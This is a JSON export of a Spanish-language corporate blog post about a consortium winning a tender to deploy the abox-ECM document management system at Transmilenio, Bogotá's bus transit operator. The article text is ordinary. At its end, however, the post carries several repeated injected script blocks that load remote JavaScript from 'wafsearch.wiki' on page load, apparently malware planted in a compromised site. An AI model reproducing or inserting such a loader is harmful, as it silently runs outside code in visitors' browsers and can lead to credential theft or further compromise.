{"id":2951,"date":"2018-05-19T12:34:25","date_gmt":"2018-05-19T17:34:25","guid":{"rendered":"https:\/\/149.56.148.186\/?p=2724"},"modified":"2026-03-20T04:02:51","modified_gmt":"2026-03-20T09:02:51","slug":"transmilenio-s-a-implantara-abox-ecm-como-solucion-tecnologica-de-gestion-documental","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/transmilenio-s-a-implantara-abox-ecm-como-solucion-tecnologica-de-gestion-documental\/","title":{"rendered":"Transmilenio S.A. implantar\u00e1 abox-ECM como soluci\u00f3n de gesti\u00f3n documental (SGDEA)"},"content":{"rendered":"<p>La <strong>Uni\u00f3n Temporal Gesti\u00f3n Documental TM 2018<\/strong>, compuesta por los socios <strong>Global Technology Services S.A.<\/strong> (GTS Colombia) y <strong>Servisoft S.A.<\/strong>, result\u00f3 adjudicataria de la licitaci\u00f3n p\u00fablica para la implantaci\u00f3n de un <a href=\"https:\/\/www.adapting.com\/edge\/que-es-abox\/\">sistema de gesti\u00f3n electr\u00f3nica de documentos<\/a> que incluye un <a href=\"https:\/\/www.adapting.com\/modulo-gestion-de-contenidos-cms\/\"><strong>CMS<\/strong> (gestor de contenido)<\/a> y un <a href=\"https:\/\/www.adapting.com\/modulo-bpm-workflow\/\"><strong>BPM<\/strong><\/a> (gestor de procesos de negocio), debidamente integrados, y que cumpla con est\u00e1ndares internacionales y normatividad vigente.<\/p>\n<p>La soluci\u00f3n seleccionada por la Uni\u00f3n Temporal,<strong> abox-ECM<\/strong>, cumpli\u00f3 con todos los requisitos t\u00e9cnicos y funcionales solicitados por Transmilenio, por lo que ser\u00e1 implantada en los pr\u00f3ximos meses en esta importante empresa p\u00fablica de econom\u00eda mixta, p\u00fablico-privada, que opera en Bogot\u00e1 (Colombia).<\/p>\n<p>La Empresa de Transporte del Tercer Milenio Transmilenio S.A. gestiona el sistema de transporte p\u00fablico masivo basado<strong><img loading=\"lazy\" class=\"size-full wp-image-2734 alignleft\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2018\/05\/logo_grande.jpg\" alt=\"\" width=\"108\" height=\"90\" \/><\/strong> en autobuses (BTR) <strong>m\u00e1s grande del mundo<\/strong> con 1.250 Kms de operaci\u00f3n, m\u00e1s de 22.000 conductores vinculados, una flota troncal superior a 2.000 buses, flota alimentadora cercana a 950 y flota zonal rondando las 7.000 unidades. Su demanda es de 750 millones de viajeros al a\u00f1o, con una ocupaci\u00f3n diaria de 2,5 millones de usuarios.<\/p>\n<p><strong>Transmilenio<\/strong> cuenta con un grupo de empresas contratistas que operan sus infraestructuras y servicios. El proyecto de implantaci\u00f3n del sistema de gesti\u00f3n de documentos electr\u00f3nicos de archivo (<strong>SGDEA<\/strong>) beneficiar\u00e1 a 2.000 usuarios directos e indirectos y tendr\u00e1 los siguientes objetivos:<\/p>\n<ul>\n<li>Implantar las mejores pr\u00e1cticas de gesti\u00f3n documental a trav\u00e9s del cumplimiento de la ISO-15489 y requisitos funcionales de Moreq.<\/li>\n<li>Cumplimiento de la legislaci\u00f3n vigente en materia de archivos (Ley 594 y otros decretos).<\/li>\n<li>Hacer realidad la Oficina Cero Papel en una empresa todav\u00eda muy atada al papel.<\/li>\n<li>Modelar los principales procesos de negocio, diferenciando entre procesos archiv\u00edsticos y procesos de negocio.<\/li>\n<\/ul>\n<p>Por el elevado volumen de la operaci\u00f3n y la cantidad de usuarios, los impactos esperados ser\u00e1n muy significativos y cubrir\u00e1n aspectos tan diversos como:<\/p>\n<ul>\n<li>Reducci\u00f3n de gastos asociados al papel.<\/li>\n<li>Reducci\u00f3n de tiempos y mejora de la productividad interna.<\/li>\n<li>Mejora del servicio general a trav\u00e9s de una \u00f3ptima gesti\u00f3n de la informaci\u00f3n.<\/li>\n<li>Mejora en transparencia y seguridad de la informaci\u00f3n.<\/li>\n<li>Impacto medioambiental muy positivo por reducci\u00f3n del papel y energ\u00eda.<\/li>\n<\/ul>\n<p>La citada adjudicaci\u00f3n ha demostrado la calidad y madurez tecnol\u00f3gica de la plataforma <strong>abox ECM<\/strong>, basada en el estricto cumplimiento de Moreq, la orientaci\u00f3n al usuario, cumplimiento normativo, capacidad de edici\u00f3n gr\u00e1fica de flujos de trabajo conforme al est\u00e1ndar BPMN2 y las capacidades de interoperabilidad del software (<em>ver diagrama<\/em>).<\/p>\n<p><strong>Global Technology Services S.A.<\/strong>, business partner certificado de Grupo Adapting desde 2016, ha demostrado con este importante proyecto su capacidad comercial y t\u00e9cnica, involucrando a un equipo t\u00e9cnico altamente cualificado, compuesto por m\u00e1s de 12 personas de perfiles archivista, consultor, analista, parametrizador, documentador, programador e ingenieros de infraestructura y soporte.<img loading=\"lazy\" class=\"wp-image-2726 size-full aligncenter\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2018\/05\/abox-diiagrama.png\" alt=\"\" width=\"600\" height=\"450\" \/><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 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